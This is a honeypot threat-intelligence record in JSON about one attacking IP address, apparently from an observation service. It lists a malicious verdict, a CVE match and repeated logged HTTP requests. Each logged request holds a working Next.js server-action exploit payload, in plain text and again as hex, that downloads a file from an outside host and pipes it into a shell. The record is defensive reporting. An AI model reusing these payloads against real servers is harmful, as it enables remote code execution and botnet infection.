{"ip":"93.152.221.67","total_events":98,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"28 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["28 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 85,272 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"85,272 bytes sent","bytes_sent":85272,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-07T23:07:29","last_seen":"2026-09-23T07:53:14","events_24h":17,"events_7d":29,"geo":{"country_code":"DE","country_name":"Germany","region":"Hesse","city":"Frankfurt am Main","lat":50.1169,"lon":8.6837,"asn":197170,"org":"TechTies Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2021-36260","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage"}],"malware":[],"top_ports":[{"port":3000,"proto":"tcp","label":"Web-alt","count":69},{"port":8088,"proto":"tcp","label":"Hadoop","count":19},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":5},{"port":80,"proto":"tcp","label":"HTTP","count":4},{"port":5555,"proto":"tcp","label":"","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["a11cuq091_0440064b_997bb924","a11cuq071_0000064b_0f6de22c"]},"fingerprint_peers":{"a11cuq091_0440064b_997bb924":1,"a11cuq071_0000064b_0f6de22c":1},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0"],"timeline":[{"date":"2026-09-07","count":4},{"date":"2026-09-08","count":6},{"date":"2026-09-09","count":5},{"date":"2026-09-10","count":12},{"date":"2026-09-11","count":15},{"date":"2026-09-12","count":10},{"date":"2026-09-13","count":10},{"date":"2026-09-14","count":7},{"date":"2026-09-19","count":8},{"date":"2026-09-20","count":2},{"date":"2026-09-21","count":2},{"date":"2026-09-23","count":17}],"recent_events":[{"timestamp":"2026-09-23T07:53:14","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"192.3.118.146","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=be9963f90746ceb222c336370bb9f204\",\"host\":\"192.3.118.146:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--be9963f90746ceb222c336370bb9f204\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--be9963f90746ceb222c336370bb9f204\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--be9963f90746ceb222c336370bb9f204\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--be9963f90746ceb222c336370bb9f204--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a203139322e332e3131382e3134363a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d62653939363366393037343663656232323263333336333730626239663230340d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d62653939363366393037343663656232323263333336333730626239663230340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d62653939363366393037343663656232323263333336333730626239663230340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d62653939363366393037343663656232323263333336333730626239663230340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d62653939363366393037343663656232323263333336333730626239663230342d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"ea90e4b8-caa6-4dbb-8ad1-3a252b9c72b8","seq":1,"duration_ms":0,"bytes_in":994,"bytes_out":78},{"timestamp":"2026-09-23T07:52:38","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=29f87733ed3f068ee7fd4c180f329ea4\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--29f87733ed3f068ee7fd4c180f329ea4\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--29f87733ed3f068ee7fd4c180f329ea4\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--29f87733ed3f068ee7fd4c180f329ea4\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--29f87733ed3f068ee7fd4c180f329ea4--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d32396638373733336564336630363865653766643463313830663332396561340d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d32396638373733336564336630363865653766643463313830663332396561340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d32396638373733336564336630363865653766643463313830663332396561340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d32396638373733336564336630363865653766643463313830663332396561340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d32396638373733336564336630363865653766643463313830663332396561342d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"e522ad9f-40b7-4d3e-968d-1398bd8881c2","seq":1,"duration_ms":0,"bytes_in":999,"bytes_out":78},{"timestamp":"2026-09-23T07:52:37","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"185.228.81.201","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=5e853e1d721166a624a41ceaba34cb78\",\"host\":\"185.228.81.201:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--5e853e1d721166a624a41ceaba34cb78\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--5e853e1d721166a624a41ceaba34cb78\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--5e853e1d721166a624a41ceaba34cb78\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--5e853e1d721166a624a41ceaba34cb78--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app","summary":"","payload_hex":"504f5354202f61707020485454502f312e310d0a486f73743a203138352e3232382e38312e3230313a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d35653835336531643732313136366136323461343163656162613334636237380d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d35653835336531643732313136366136323461343163656162613334636237380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d35653835336531643732313136366136323461343163656162613334636237380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d35653835336531643732313136366136323461343163656162613334636237380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d35653835336531643732313136366136323461343163656162613334636237382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"657fb99a-df6c-4a84-96f1-4d4b8f615dc5","seq":1,"duration_ms":0,"bytes_in":995,"bytes_out":78},{"timestamp":"2026-09-23T07:49:06","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"185.228.81.201","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=74cebe418b3f44e14a1eed0f76fe4277\",\"host\":\"185.228.81.201:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--74cebe418b3f44e14a1eed0f76fe4277\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--74cebe418b3f44e14a1eed0f76fe4277\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--74cebe418b3f44e14a1eed0f76fe4277\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--74cebe418b3f44e14a1eed0f76fe4277--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next/server","summary":"","payload_hex":"504f5354202f5f6e6578742f73657276657220485454502f312e310d0a486f73743a203138352e3232382e38312e3230313a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d37346365626534313862336634346531346131656564306637366665343237370d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d37346365626534313862336634346531346131656564306637366665343237370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d37346365626534313862336634346531346131656564306637366665343237370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d37346365626534313862336634346531346131656564306637366665343237370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d37346365626534313862336634346531346131656564306637366665343237372d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"96fbcb56-8555-4c3c-adb3-4e2ea99c74d1","seq":1,"duration_ms":0,"bytes_in":1004,"bytes_out":78},{"timestamp":"2026-09-23T07:47:56","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=e67808ea10b0734e4da4b21c5f603e55\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--e67808ea10b0734e4da4b21c5f603e55\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--e67808ea10b0734e4da4b21c5f603e55\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--e67808ea10b0734e4da4b21c5f603e55\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--e67808ea10b0734e4da4b21c5f603e55--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next/server","summary":"","payload_hex":"504f5354202f5f6e6578742f73657276657220485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d65363738303865613130623037333465346461346232316335663630336535350d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d65363738303865613130623037333465346461346232316335663630336535350d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d65363738303865613130623037333465346461346232316335663630336535350d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d65363738303865613130623037333465346461346232316335663630336535350d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d65363738303865613130623037333465346461346232316335663630336535352d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"6a0eb06a-c450-4c0a-86a1-48bd9fc07cad","seq":1,"duration_ms":0,"bytes_in":1003,"bytes_out":78},{"timestamp":"2026-09-23T07:45:41","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"192.3.118.146","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=fd618825f9c06172ea0a443fb5fe9cc2\",\"host\":\"192.3.118.146:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--fd618825f9c06172ea0a443fb5fe9cc2\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--fd618825f9c06172ea0a443fb5fe9cc2\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--fd618825f9c06172ea0a443fb5fe9cc2\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--fd618825f9c06172ea0a443fb5fe9cc2--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a203139322e332e3131382e3134363a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d66643631383832356639633036313732656130613434336662356665396363320d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d66643631383832356639633036313732656130613434336662356665396363320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d66643631383832356639633036313732656130613434336662356665396363320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d66643631383832356639633036313732656130613434336662356665396363320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d66643631383832356639633036313732656130613434336662356665396363322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"1198afc8-0101-4d98-9de0-4f95dc571266","seq":1,"duration_ms":0,"bytes_in":994,"bytes_out":78},{"timestamp":"2026-09-23T07:45:04","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"185.228.81.201","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=2441da5c17e3254ae4bb90ba12fe5b42\",\"host\":\"185.228.81.201:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--2441da5c17e3254ae4bb90ba12fe5b42\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--2441da5c17e3254ae4bb90ba12fe5b42\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--2441da5c17e3254ae4bb90ba12fe5b42\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--2441da5c17e3254ae4bb90ba12fe5b42--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app","summary":"","payload_hex":"504f5354202f61707020485454502f312e310d0a486f73743a203138352e3232382e38312e3230313a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d32343431646135633137653332353461653462623930626131326665356234320d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d32343431646135633137653332353461653462623930626131326665356234320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d32343431646135633137653332353461653462623930626131326665356234320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d32343431646135633137653332353461653462623930626131326665356234320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d32343431646135633137653332353461653462623930626131326665356234322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"79d6d3b0-c1a2-4eb5-a372-6a380daafac5","seq":1,"duration_ms":0,"bytes_in":995,"bytes_out":78},{"timestamp":"2026-09-23T07:33:11","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"192.3.118.146","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=56f39db67cc18f9b00960d7c3a640f1a\",\"host\":\"192.3.118.146:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--56f39db67cc18f9b00960d7c3a640f1a\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--56f39db67cc18f9b00960d7c3a640f1a\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--56f39db67cc18f9b00960d7c3a640f1a\r\nContent-Disposition: form-data; 